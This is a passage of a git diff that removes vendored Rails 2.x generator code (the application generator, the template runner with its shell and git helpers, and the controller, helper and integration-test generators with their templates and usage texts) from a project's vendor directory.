diff --git a/vendor/rails/railties/lib/rails_generator/generators/applications/app/USAGE b/vendor/rails/railties/lib/rails_generator/generators/applications/app/USAGE
deleted file mode 100644
index 36d6061a..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/applications/app/USAGE
+++ /dev/null
@@ -1,9 +0,0 @@
-Description:
-    The 'rails' command creates a new Rails application with a default
-    directory structure and configuration at the path you specify.
-
-Example:
-    rails ~/Code/Ruby/weblog
-
-    This generates a skeletal Rails installation in ~/Code/Ruby/weblog.
-    See the README in the newly created application to get going.
diff --git a/vendor/rails/railties/lib/rails_generator/generators/applications/app/app_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/applications/app/app_generator.rb
deleted file mode 100644
index 0b67eef5..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/applications/app/app_generator.rb
+++ /dev/null
@@ -1,266 +0,0 @@
-require 'rbconfig'
-require File.dirname(__FILE__) + '/template_runner'
-require 'digest/md5' 
-require 'active_support/secure_random'
-
-class AppGenerator < Rails::Generator::Base
-  DEFAULT_SHEBANG = File.join(Config::CONFIG['bindir'], Config::CONFIG['ruby_install_name'])
-
-  DATABASES        = %w( mysql oracle postgresql sqlite2 sqlite3 frontbase ibm_db )
-  DEFAULT_DATABASE = 'sqlite3'
-
-  mandatory_options :source => "#{File.dirname(__FILE__)}/../../../../.."
-  default_options   :db => (ENV["RAILS_DEFAULT_DATABASE"] || DEFAULT_DATABASE),
-    :shebang => DEFAULT_SHEBANG, :with_dispatchers => false, :freeze => false
-
-
-  def initialize(runtime_args, runtime_options = {})
-    super
-
-    usage if args.empty?
-    usage("Databases supported for preconfiguration are: #{DATABASES.join(", ")}") if (options[:db] && !DATABASES.include?(options[:db]))
-
-    @destination_root = args.shift
-    @app_name = File.basename(File.expand_path(@destination_root))
-  end
-
-  def manifest
-    record do |m|
-      create_directories(m)
-      create_root_files(m)
-      create_app_files(m)
-      create_config_files(m)
-      create_script_files(m)
-      create_test_files(m)
-      create_public_files(m)
-      create_documentation_file(m)
-      create_log_files(m)
-    end
-  end
-
-  def after_generate
-    if options[:template]
-      Rails::TemplateRunner.new(options[:template], @destination_root)
-    end
-  end
-
-  protected
-    def banner
-      "Usage: #{$0} /path/to/your/app [options]"
-    end
-
-    def add_options!(opt)
-      opt.separator ''
-      opt.separator 'Options:'
-      opt.on("-r", "--ruby=path", String,
-             "Path to the Ruby binary of your choice (otherwise scripts use env, dispatchers current path).",
-             "Default: #{DEFAULT_SHEBANG}") { |v| options[:shebang] = v }
-
-      opt.on("-d", "--database=name", String,
-            "Preconfigure for selected database (options: #{DATABASES.join('/')}).",
-            "Default: #{DEFAULT_DATABASE}") { |v| options[:db] = v }
-
-      opt.on("-D", "--with-dispatchers",
-            "Add CGI/FastCGI/mod_ruby dispatches code to generated application skeleton",
-            "Default: false") { |v| options[:with_dispatchers] = v }
-
-      opt.on("-f", "--freeze",
-            "Freeze Rails in vendor/rails from the gems generating the skeleton",
-            "Default: false") { |v| options[:freeze] = v }
-
-      opt.on("-m", "--template=path", String,
-            "Use an application template that lives at path (can be a filesystem path or URL).",
-            "Default: (none)") { |v| options[:template] = v }
-
-    end
-
-
-  private
-    def create_directories(m)
-      m.directory ''
-
-      # Intermediate directories are automatically created so don't sweat their absence here.
-      %w(
-        app/controllers
-        app/helpers
-        app/models
-        app/views/layouts
-        config/environments
-        config/initializers
-        config/locales
-        db
-        doc
-        lib
-        lib/tasks
-        log
-        public/images
-        public/javascripts
-        public/stylesheets
-        script/performance
-        test/fixtures
-        test/functional
-        test/integration
-        test/performance
-        test/unit
-        vendor
-        vendor/plugins
-        tmp/sessions
-        tmp/sockets
-        tmp/cache
-        tmp/pids
-      ).each { |path| m.directory(path) }
-    end
-    
-    def create_root_files(m)
-      m.file "fresh_rakefile", "Rakefile"
-      m.file "README",         "README"
-    end
-    
-    def create_app_files(m)
-      m.file "helpers/application_controller.rb", "app/controllers/application_controller.rb"
-      m.file "helpers/application_helper.rb",     "app/helpers/application_helper.rb"
-    end
-
-    def create_config_files(m)
-      create_database_configuration_file(m)
-      create_routes_file(m)
-      create_locale_file(m)
-      create_seeds_file(m)
-      create_initializer_files(m)
-      create_environment_files(m)
-    end
-
-    def create_documentation_file(m)
-      m.file "doc/README_FOR_APP", "doc/README_FOR_APP"
-    end
-
-    def create_log_files(m)
-      %w( server production development test ).each do |file|
-        m.file "configs/empty.log", "log/#{file}.log", :chmod => 0666
-      end
-    end    
-
-    def create_public_files(m)
-      create_dispatch_files(m)
-      create_error_files(m)
-      create_welcome_file(m)
-      create_browser_convention_files(m)
-      create_rails_image(m)
-      create_javascript_files(m)
-    end
-    
-    def create_script_files(m)
-      %w( 
-        about console dbconsole destroy generate runner server plugin
-        performance/benchmarker performance/profiler
-      ).each do |file|
-        m.file "bin/#{file}", "script/#{file}", { 
-          :chmod => 0755, 
-          :shebang => options[:shebang] == DEFAULT_SHEBANG ? nil : options[:shebang]
-        }
-      end
-    end
-
-    def create_test_files(m)
-      m.file "helpers/test_helper.rb",      "test/test_helper.rb"
-      m.file "helpers/performance_test.rb", "test/performance/browsing_test.rb"
-    end
-
-
-    def create_database_configuration_file(m)
-      m.template "configs/databases/#{options[:db]}.yml", "config/database.yml", :assigns => {
-        :app_name => @app_name,
-        :socket   => options[:db] == "mysql" ? mysql_socket_location : nil }
-    end
-    
-    def create_routes_file(m)
-      m.file "configs/routes.rb", "config/routes.rb"
-    end
-
-    def create_seeds_file(m)
-      m.file "configs/seeds.rb", "db/seeds.rb"
-    end
-
-    def create_initializer_files(m)
-      %w( 
-        backtrace_silencers 
-        inflections 
-        mime_types 
-        new_rails_defaults
-      ).each do |initializer|
-        m.file "configs/initializers/#{initializer}.rb", "config/initializers/#{initializer}.rb"
-      end
-
-      m.template "configs/initializers/session_store.rb", "config/initializers/session_store.rb", 
-        :assigns => { :app_name => @app_name, :app_secret => ActiveSupport::SecureRandom.hex(64) }
-
-      m.template "configs/initializers/cookie_verification_secret.rb", "config/initializers/cookie_verification_secret.rb", 
-        :assigns => { :app_secret => ActiveSupport::SecureRandom.hex(64) }
-    end
-
-    def create_locale_file(m)
-      m.file "configs/locales/en.yml", "config/locales/en.yml"
-    end
-
-    def create_environment_files(m)
-      m.template "environments/environment.rb", "config/environment.rb", 
-        :assigns => { :freeze => options[:freeze] }
-
-      m.file "environments/boot.rb",        "config/boot.rb"
-      m.file "environments/production.rb",  "config/environments/production.rb"
-      m.file "environments/development.rb", "config/environments/development.rb"
-      m.file "environments/test.rb",        "config/environments/test.rb"
-    end
-
-
-    def create_dispatch_files(m)
-      if options[:with_dispatchers]
-        dispatcher_options = { :chmod => 0755, :shebang => options[:shebang] }
-
-        m.file "dispatches/config.ru",     "config.ru"
-        m.file "dispatches/dispatch.rb",   "public/dispatch.rb",   dispatcher_options
-        m.file "dispatches/dispatch.rb",   "public/dispatch.cgi",  dispatcher_options
-        m.file "dispatches/dispatch.fcgi", "public/dispatch.fcgi", dispatcher_options
-      end
-    end
-
-    def create_error_files(m)
-      %w( 404 422 500  ).each do |file|
-        m.file "html/#{file}.html", "public/#{file}.html"
-      end
-    end
-
-    def create_welcome_file(m)
-      m.file 'html/index.html', 'public/index.html'
-    end
-
-    def create_browser_convention_files(m)
-      m.file "html/favicon.ico", "public/favicon.ico"
-      m.file "html/robots.txt",  "public/robots.txt"
-    end
-
-    def create_rails_image(m)
-      m.file "html/images/rails.png", "public/images/rails.png"
-    end
-
-    def create_javascript_files(m)
-      %w( prototype effects dragdrop controls application ).each do |javascript|
-        m.file "html/javascripts/#{javascript}.js", "public/javascripts/#{javascript}.js"
-      end
-    end
-
-
-    def mysql_socket_location
-      [
-        "/tmp/mysql.sock",                        # default
-        "/var/run/mysqld/mysqld.sock",            # debian/gentoo
-        "/var/tmp/mysql.sock",                    # freebsd
-        "/var/lib/mysql/mysql.sock",              # fedora
-        "/opt/local/lib/mysql/mysql.sock",        # fedora
-        "/opt/local/var/run/mysqld/mysqld.sock",  # mac + darwinports + mysql
-        "/opt/local/var/run/mysql4/mysqld.sock",  # mac + darwinports + mysql4
-        "/opt/local/var/run/mysql5/mysqld.sock",  # mac + darwinports + mysql5
-        "/opt/lampp/var/mysql/mysql.sock"         # xampp for linux
-      ].find { |f| File.exist?(f) } unless RUBY_PLATFORM =~ /(:?mswin|mingw)/
-    end
-end
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/git.rb b/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/git.rb
deleted file mode 100644
index a53494de..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/git.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-STDOUT.sync = true
-
-module Rails
-  class Git < Scm
-    def self.clone(repos, branch=nil)
-      system "git clone #{repos}"
-
-      if branch
-        system "cd #{repos.split('/').last}/"
-        system "git checkout #{branch}"
-      end
-    end
-
-    def self.run(command)
-      system "git #{command}"
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/scm.rb b/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/scm.rb
deleted file mode 100644
index f6c08cad..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/scm.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-module Rails
-  class Scm
-    private
-      def self.hash_to_parameters(hash)
-        hash.collect { |key, value| "--#{key} #{(value.kind_of?(String) ? value : "")}"}.join(" ")
-      end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/svn.rb b/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/svn.rb
deleted file mode 100644
index 22b5966d..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/applications/app/scm/svn.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-module Rails
-  class Svn < Scm
-    def self.checkout(repos, branch = nil)
-      `svn checkout #{repos}/#{branch || "trunk"}`
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/rails_generator/generators/applications/app/template_runner.rb b/vendor/rails/railties/lib/rails_generator/generators/applications/app/template_runner.rb
deleted file mode 100644
index 40f21cc4..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/applications/app/template_runner.rb
+++ /dev/null
@@ -1,401 +0,0 @@
-require File.dirname(__FILE__) + '/scm/scm'
-require File.dirname(__FILE__) + '/scm/git'
-require File.dirname(__FILE__) + '/scm/svn'
-
-require 'open-uri'
-require 'fileutils'
-
-module Rails
-  class TemplateRunner
-    attr_reader :root
-    attr_writer :logger
-
-    def initialize(template, root = '') # :nodoc:
-      @root = File.expand_path(File.directory?(root) ? root : File.join(Dir.pwd, root))
-
-      log 'applying', "template: #{template}"
-
-      load_template(template)
-
-      log 'applied', "#{template}"
-    end
-
-    def load_template(template)
-      begin
-        code = open(template).read
-        in_root { self.instance_eval(code) }
-      rescue LoadError, Errno::ENOENT => e
-        raise "The template [#{template}] could not be loaded. Error: #{e}"
-      end
-    end
-
-    # Create a new file in the Rails project folder.  Specify the
-    # relative path from RAILS_ROOT.  Data is the return value of a block
-    # or a data string.
-    #
-    # ==== Examples
-    #
-    #   file("lib/fun_party.rb") do
-    #     hostname = ask("What is the virtual hostname I should use?")
-    #     "vhost.name = #{hostname}"
-    #   end
-    #
-    #   file("config/apach.conf", "your apache config")
-    #
-    def file(filename, data = nil, log_action = true, &block)
-      log 'file', filename if log_action
-      dir, file = [File.dirname(filename), File.basename(filename)]
-
-      inside(dir) do
-        File.open(file, "w") do |f|
-          if block_given?
-            f.write(block.call)
-          else
-            f.write(data)
-          end
-        end
-      end
-    end
-
-    # Install a plugin.  You must provide either a Subversion url or Git url.
-    # For a Git-hosted plugin, you can specify if it should be added as a submodule instead of cloned.
-    #
-    # ==== Examples
-    #
-    #   plugin 'restful-authentication', :git => 'git://github.com/technoweenie/restful-authentication.git'
-    #   plugin 'restful-authentication', :git => 'git://github.com/technoweenie/restful-authentication.git', :submodule => true
-    #   plugin 'restful-authentication', :svn => 'svn://svnhub.com/technoweenie/restful-authentication/trunk'
-    #
-    def plugin(name, options)
-      log 'plugin', name
-
-      if options[:git] && options[:submodule]
-        in_root do
-          Git.run("submodule add #{options[:git]} vendor/plugins/#{name}")
-        end
-      elsif options[:git] || options[:svn]
-        in_root do
-          run_ruby_script("script/plugin install #{options[:svn] || options[:git]}", false)
-        end
-      else
-        log "! no git or svn provided for #{name}.  skipping..."
-      end
-    end
-
-    # Adds an entry into config/environment.rb for the supplied gem :
-    def gem(name, options = {})
-      log 'gem', name
-      env = options.delete(:env)
-
-      gems_code = "config.gem '#{name}'"
-
-      if options.any?
-        opts = options.inject([]) {|result, h| result << [":#{h[0]} => #{h[1].inspect.gsub('"',"'")}"] }.sort.join(", ")
-        gems_code << ", #{opts}"
-      end
-
-      environment gems_code, :env => env
-    end
-
-    # Adds a line inside the Initializer block for config/environment.rb. Used by #gem
-    # If options :env is specified, the line is appended to the corresponding
-    # file in config/environments/#{env}.rb
-    def environment(data = nil, options = {}, &block)
-      sentinel = 'Rails::Initializer.run do |config|'
-
-      data = block.call if !data && block_given?
-
-      in_root do
-        if options[:env].nil?
-          gsub_file 'config/environment.rb', /(#{Regexp.escape(sentinel)})/mi do |match|
-            "#{match}\n  " << data
-          end
-        else
-          Array.wrap(options[:env]).each do|env|
-            append_file "config/environments/#{env}.rb", "\n#{data}"
-          end
-        end
-      end
-    end
-
-    # Run a command in git.
-    #
-    # ==== Examples
-    #
-    #   git :init
-    #   git :add => "this.file that.rb"
-    #   git :add => "onefile.rb", :rm => "badfile.cxx"
-    #
-    def git(command = {})
-      in_root do
-        if command.is_a?(Symbol)
-          log 'running', "git #{command}"
-          Git.run(command.to_s)
-        else
-          command.each do |command, options|
-            log 'running', "git #{command} #{options}"
-            Git.run("#{command} #{options}")
-          end
-        end
-      end
-    end
-
-    # Create a new file in the vendor/ directory. Code can be specified
-    # in a block or a data string can be given.
-    #
-    # ==== Examples
-    #
-    #   vendor("sekrit.rb") do
-    #     sekrit_salt = "#{Time.now}--#{3.years.ago}--#{rand}--"
-    #     "salt = '#{sekrit_salt}'"
-    #   end
-    #
-    #   vendor("foreign.rb", "# Foreign code is fun")
-    #
-    def vendor(filename, data = nil, &block)
-      log 'vendoring', filename
-      file("vendor/#{filename}", data, false, &block)
-    end
-
-    # Create a new file in the lib/ directory. Code can be specified
-    # in a block or a data string can be given.
-    #
-    # ==== Examples
-    #
-    #   lib("crypto.rb") do
-    #     "crypted_special_value = '#{rand}--#{Time.now}--#{rand(1337)}--'"
-    #   end
-    #
-    #   lib("foreign.rb", "# Foreign code is fun")
-    #
-    def lib(filename, data = nil, &block)
-      log 'lib', filename
-      file("lib/#{filename}", data, false, &block)
-    end
-
-    # Create a new Rakefile with the provided code (either in a block or a string).
-    #
-    # ==== Examples
-    #
-    #   rakefile("bootstrap.rake") do
-    #     project = ask("What is the UNIX name of your project?")
-    #
-    #     <<-TASK
-    #       namespace :#{project} do
-    #         task :bootstrap do
-    #           puts "i like boots!"
-    #         end
-    #       end
-    #     TASK
-    #   end
-    #
-    #   rakefile("seed.rake", "puts 'im plantin ur seedz'")
-    #
-    def rakefile(filename, data = nil, &block)
-      log 'rakefile', filename
-      file("lib/tasks/#{filename}", data, false, &block)
-    end
-
-    # Create a new initializer with the provided code (either in a block or a string).
-    #
-    # ==== Examples
-    #
-    #   initializer("globals.rb") do
-    #     data = ""
-    #
-    #     ['MY_WORK', 'ADMINS', 'BEST_COMPANY_EVAR'].each do
-    #       data << "#{const} = :entp"
-    #     end
-    #
-    #     data
-    #   end
-    #
-    #   initializer("api.rb", "API_KEY = '123456'")
-    #
-    def initializer(filename, data = nil, &block)
-      log 'initializer', filename
-      file("config/initializers/#{filename}", data, false, &block)
-    end
-
-    # Generate something using a generator from Rails or a plugin.
-    # The second parameter is the argument string that is passed to
-    # the generator or an Array that is joined.
-    #
-    # ==== Example
-    #
-    #   generate(:authenticated, "user session")
-    #
-    def generate(what, *args)
-      log 'generating', what
-      argument = args.map(&:to_s).flatten.join(" ")
-
-      in_root { run_ruby_script("script/generate #{what} #{argument}", false) }
-    end
-
-    # Executes a command
-    #
-    # ==== Example
-    #
-    #   inside('vendor') do
-    #     run('ln -s ~/edge rails')
-    #   end
-    #
-    def run(command, log_action = true)
-      log 'executing',  "#{command} from #{Dir.pwd}" if log_action
-      `#{command}`
-    end
-
-    # Executes a ruby script (taking into account WIN32 platform quirks)
-    def run_ruby_script(command, log_action = true)
-      ruby_command = RUBY_PLATFORM=~ /win32/ ? 'ruby ' : ''
-      run("#{ruby_command}#{command}", log_action)
-    end
-
-    # Runs the supplied rake task
-    #
-    # ==== Example
-    #
-    #   rake("db:migrate")
-    #   rake("db:migrate", :env => "production")
-    #   rake("gems:install", :sudo => true)
-    #
-    def rake(command, options = {})
-      log 'rake', command
-      env = options[:env] || 'development'
-      sudo = options[:sudo] ? 'sudo ' : ''
-      in_root { run("#{sudo}rake #{command} RAILS_ENV=#{env}", false) }
-    end
-
-    # Just run the capify command in root
-    #
-    # ==== Example
-    #
-    #   capify!
-    #
-    def capify!
-      log 'capifying'
-      in_root { run('capify .', false) }
-    end
-
-    # Add Rails to /vendor/rails
-    #
-    # ==== Example
-    #
-    #   freeze!
-    #
-    def freeze!(args = {})
-      log 'vendor', 'rails edge'
-      in_root { run('rake rails:freeze:edge', false) }
-    end
-
-    # Make an entry in Rails routing file conifg/routes.rb
-    #
-    # === Example
-    #
-    #   route "map.root :controller => :welcome"
-    #
-    def route(routing_code)
-      log 'route', routing_code
-      sentinel = 'ActionController::Routing::Routes.draw do |map|'
-
-      in_root do
-        gsub_file 'config/routes.rb', /(#{Regexp.escape(sentinel)})/mi do |match|
-          "#{match}\n  #{routing_code}\n"
-        end
-      end
-    end
-
-    protected
-
-    # Get a user's input
-    #
-    # ==== Example
-    #
-    #   answer = ask("Should I freeze the latest Rails?")
-    #   freeze! if ask("Should I freeze the latest Rails?") == "yes"
-    #
-    def ask(string)
-      log '', string
-      STDIN.gets.strip
-    end
-
-    # Do something in the root of the Rails application or
-    # a provided subfolder; the full path is yielded to the block you provide.
-    # The path is set back to the previous path when the method exits.
-    def inside(dir = '', &block)
-      folder = File.join(root, dir)
-      FileUtils.mkdir_p(folder) unless File.exist?(folder)
-      FileUtils.cd(folder) { block.arity == 1 ? yield(folder) : yield }
-    end
-
-    def in_root
-      FileUtils.cd(root) { yield }
-    end
-
-    # Helper to test if the user says yes(y)?
-    #
-    # ==== Example
-    #
-    #   freeze! if yes?("Should I freeze the latest Rails?")
-    #
-    def yes?(question)
-      answer = ask(question).downcase
-      answer == "y" || answer == "yes"
-    end
-
-    # Helper to test if the user does NOT say yes(y)?
-    #
-    # ==== Example
-    #
-    #   capify! if no?("Will you be using vlad to deploy your application?")
-    #
-    def no?(question)
-      !yes?(question)
-    end
-
-    # Run a regular expression replacement on a file
-    #
-    # ==== Example
-    #
-    #   gsub_file 'app/controllers/application_controller.rb', /#\s*(filter_parameter_logging :password)/, '\1'
-    #
-    def gsub_file(relative_destination, regexp, *args, &block)
-      path = destination_path(relative_destination)
-      content = File.read(path).gsub(regexp, *args, &block)
-      File.open(path, 'wb') { |file| file.write(content) }
-    end
-
-    # Append text to a file
-    #
-    # ==== Example
-    #
-    #   append_file 'config/environments/test.rb', 'config.gem "rspec"'
-    #
-    def append_file(relative_destination, data)
-      path = destination_path(relative_destination)
-      File.open(path, 'ab') { |file| file.write(data) }
-    end
-
-    def destination_path(relative_destination)
-      File.join(root, relative_destination)
-    end
-
-    def log(action, message = '')
-      logger.log(action, message)
-    end
-
-    def logger
-      @logger ||= Rails::Generator::Base.logger
-    end
-
-    def logger
-      @logger ||= if defined?(Rails::Generator::Base)
-        Rails::Generator::Base.logger
-      else
-        require 'rails_generator/simple_logger'
-        Rails::Generator::SimpleLogger.new(STDOUT)
-      end
-    end
-
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/controller/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/controller/USAGE
deleted file mode 100644
index 362872e8..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/controller/USAGE
+++ /dev/null
@@ -1,30 +0,0 @@
-Description:
-    Stubs out a new controller and its views. Pass the controller name, either
-    CamelCased or under_scored, and a list of views as arguments.
-
-    To create a controller within a module, specify the controller name as a
-    path like 'parent_module/controller_name'.
-
-    This generates a controller class in app/controllers, view templates in
-    app/views/controller_name, a helper class in app/helpers, a functional
-    test suite in test/functional and a helper test suite in test/unit/helpers.
-
-Example:
-    `./script/generate controller CreditCard open debit credit close`
-
-    Credit card controller with URLs like /credit_card/debit.
-        Controller:      app/controllers/credit_card_controller.rb
-        Functional Test: test/functional/credit_card_controller_test.rb
-        Views:           app/views/credit_card/debit.html.erb [...]
-        Helper:          app/helpers/credit_card_helper.rb
-        Helper Test:     test/unit/helpers/credit_card_helper_test.rb
-
-Modules Example:
-    `./script/generate controller 'admin/credit_card' suspend late_fee`
-
-    Credit card admin controller with URLs /admin/credit_card/suspend.
-        Controller:      app/controllers/admin/credit_card_controller.rb
-        Functional Test: test/functional/admin/credit_card_controller_test.rb
-        Views:           app/views/admin/credit_card/debit.html.erb [...]
-        Helper:          app/helpers/admin/credit_card_helper.rb
-        Helper Test:     test/unit/helpers/admin/credit_card_helper_test.rb
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/controller/controller_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/controller/controller_generator.rb
deleted file mode 100644
index dc126e8a..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/controller/controller_generator.rb
+++ /dev/null
@@ -1,43 +0,0 @@
-class ControllerGenerator < Rails::Generator::NamedBase
-  def manifest
-    record do |m|
-      # Check for class naming collisions.
-      m.class_collisions "#{class_name}Controller", "#{class_name}ControllerTest", "#{class_name}Helper", "#{class_name}HelperTest"
-
-      # Controller, helper, views, and test directories.
-      m.directory File.join('app/controllers', class_path)
-      m.directory File.join('app/helpers', class_path)
-      m.directory File.join('app/views', class_path, file_name)
-      m.directory File.join('test/functional', class_path)
-      m.directory File.join('test/unit/helpers', class_path)
-
-      # Controller class, functional test, and helper class.
-      m.template 'controller.rb',
-                  File.join('app/controllers',
-                            class_path,
-                            "#{file_name}_controller.rb")
-
-      m.template 'functional_test.rb',
-                  File.join('test/functional',
-                            class_path,
-                            "#{file_name}_controller_test.rb")
-
-      m.template 'helper.rb',
-                  File.join('app/helpers',
-                            class_path,
-                            "#{file_name}_helper.rb")
-
-      m.template 'helper_test.rb',
-                  File.join('test/unit/helpers',
-                            class_path,
-                            "#{file_name}_helper_test.rb")
-
-      # View template for each action.
-      actions.each do |action|
-        path = File.join('app/views', class_path, file_name, "#{action}.html.erb")
-        m.template 'view.html.erb', path,
-          :assigns => { :action => action, :path => path }
-      end
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/controller.rb b/vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/controller.rb
deleted file mode 100644
index cda2659e..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/controller.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class <%= class_name %>Controller < ApplicationController
-<% for action in actions -%>
-  def <%= action %>
-  end
-
-<% end -%>
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/functional_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/functional_test.rb
deleted file mode 100644
index 62fa5d86..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/functional_test.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require 'test_helper'
-
-class <%= class_name %>ControllerTest < ActionController::TestCase
-  # Replace this with your real tests.
-  test "the truth" do
-    assert true
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/helper.rb b/vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/helper.rb
deleted file mode 100644
index 3fe2ecdc..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/helper.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-module <%= class_name %>Helper
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/helper_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/helper_test.rb
deleted file mode 100644
index 591e4090..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/helper_test.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require 'test_helper'
-
-class <%= class_name %>HelperTest < ActionView::TestCase
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/view.html.erb b/vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/view.html.erb
deleted file mode 100644
index ad85431f..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/controller/templates/view.html.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<h1><%= class_name %>#<%= action %></h1>
-<p>Find me in <%= path %></p>
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/helper/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/helper/USAGE
deleted file mode 100644
index ef27ca61..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/helper/USAGE
+++ /dev/null
@@ -1,24 +0,0 @@
-Description:
-    Stubs out a new helper. Pass the helper name, either
-    CamelCased or under_scored.
-
-    To create a helper within a module, specify the helper name as a
-    path like 'parent_module/helper_name'.
-
-    This generates a helper class in app/helpers and a helper test
-    suite in test/unit/helpers.
-
-Example:
-    `./script/generate helper CreditCard`
-
-    Credit card helper.
-        Helper:     app/helpers/credit_card_helper.rb
-        Test:       test/unit/helpers/credit_card_helper_test.rb
-
-Modules Example:
-    `./script/generate helper 'admin/credit_card'`
-
-    Credit card admin helper.
-        Helper:     app/helpers/admin/credit_card_helper.rb
-        Test:       test/unit/helpers/admin/credit_card_helper_test.rb
-
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/helper/helper_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/helper/helper_generator.rb
deleted file mode 100644
index f7831f7c..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/helper/helper_generator.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-class HelperGenerator < Rails::Generator::NamedBase
-  def manifest
-    record do |m|
-      # Check for class naming collisions.
-      m.class_collisions class_path, "#{class_name}Helper", "#{class_name}HelperTest"
-
-      # Helper and helper test directories.
-      m.directory File.join('app/helpers', class_path)
-      m.directory File.join('test/unit/helpers', class_path)
-
-      # Helper and helper test class.
-
-      m.template 'helper.rb',
-                  File.join('app/helpers',
-                            class_path,
-                            "#{file_name}_helper.rb")
-
-      m.template 'helper_test.rb',
-                  File.join('test/unit/helpers',
-                            class_path,
-                            "#{file_name}_helper_test.rb")
-
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/helper/templates/helper.rb b/vendor/rails/railties/lib/rails_generator/generators/components/helper/templates/helper.rb
deleted file mode 100644
index 3fe2ecdc..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/helper/templates/helper.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-module <%= class_name %>Helper
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/helper/templates/helper_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/helper/templates/helper_test.rb
deleted file mode 100644
index 591e4090..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/helper/templates/helper_test.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-require 'test_helper'
-
-class <%= class_name %>HelperTest < ActionView::TestCase
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/integration_test/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/integration_test/USAGE
deleted file mode 100644
index 09e2691f..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/integration_test/USAGE
+++ /dev/null
@@ -1,8 +0,0 @@
-Description:
-    Stubs out a new integration test. Pass the name of the test, either
-    CamelCased or under_scored, as an argument. The new test class is
-    generated in test/integration/testname_test.rb
-
-Example:
-    `./script/generate integration_test GeneralStories` creates a GeneralStories
-    integration test in test/integration/general_stories_test.rb
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/integration_test/integration_test_generator.rb b/vendor/rails/railties/lib/rails_generator/generators/components/integration_test/integration_test_generator.rb
deleted file mode 100644
index 44323f28..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/integration_test/integration_test_generator.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-class IntegrationTestGenerator < Rails::Generator::NamedBase
-  default_options :skip_migration => false
-
-  def manifest
-    record do |m|
-      # Check for class naming collisions.
-      m.class_collisions class_name, "#{class_name}Test"
-
-      # integration test directory
-      m.directory File.join('test/integration', class_path)
-
-      # integration test stub
-      m.template 'integration_test.rb', File.join('test/integration', class_path, "#{file_name}_test.rb")
-    end
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/integration_test/templates/integration_test.rb b/vendor/rails/railties/lib/rails_generator/generators/components/integration_test/templates/integration_test.rb
deleted file mode 100644
index 2c57158b..00000000
--- a/vendor/rails/railties/lib/rails_generator/generators/components/integration_test/templates/integration_test.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-require 'test_helper'
-
-class <%= class_name %>Test < ActionController::IntegrationTest
-  fixtures :all
-
-  # Replace this with your real tests.
-  test "the truth" do
-    assert true
-  end
-end
diff --git a/vendor/rails/railties/lib/rails_generator/generators/components/mailer/USAGE b/vendor/rails/railties/lib/rails_generator/generators/components/mailer/USAGE
deleted file mode 100644
index 61a649ed..00000000
